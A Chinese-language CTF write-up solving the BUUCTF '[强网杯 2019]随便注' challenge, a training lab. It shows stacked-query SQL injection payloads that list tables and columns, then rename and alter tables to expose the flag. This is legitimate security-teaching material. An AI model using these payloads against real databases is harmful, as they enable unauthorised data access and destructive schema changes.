【BUUCTF】[强网杯 2019]随便注 1

【BUUCTF】[强网杯 2019]随便注 1_第1张图片

提交查询,显示如下

【BUUCTF】[强网杯 2019]随便注 1_第2张图片

测试注入点

1'

在这里插入图片描述

显示表名

1';show tables#

【BUUCTF】[强网杯 2019]随便注 1_第3张图片

查看两个表中的列信息

1';show columns from `words`#
1';show columns from `1919810931114514`#

【BUUCTF】[强网杯 2019]随便注 1_第4张图片
【BUUCTF】[强网杯 2019]随便注 1_第5张图片

可知flag在第二个表内
我们可以看出页面回显的信息是有两列的,猜测默认显示第一个表中的内容,so我们想办法将第二个表重命名为words,将flag重命名为id

1';rename table `words` to words2;
rename table `1919810931114514` to `words`;
alter table words change flag id varchar(100);
show tables;
show columns from words;#

然后用1’ or 1=1;# 查出flag
【BUUCTF】[强网杯 2019]随便注 1_第6张图片

你可能感兴趣的:(ctf,ctf)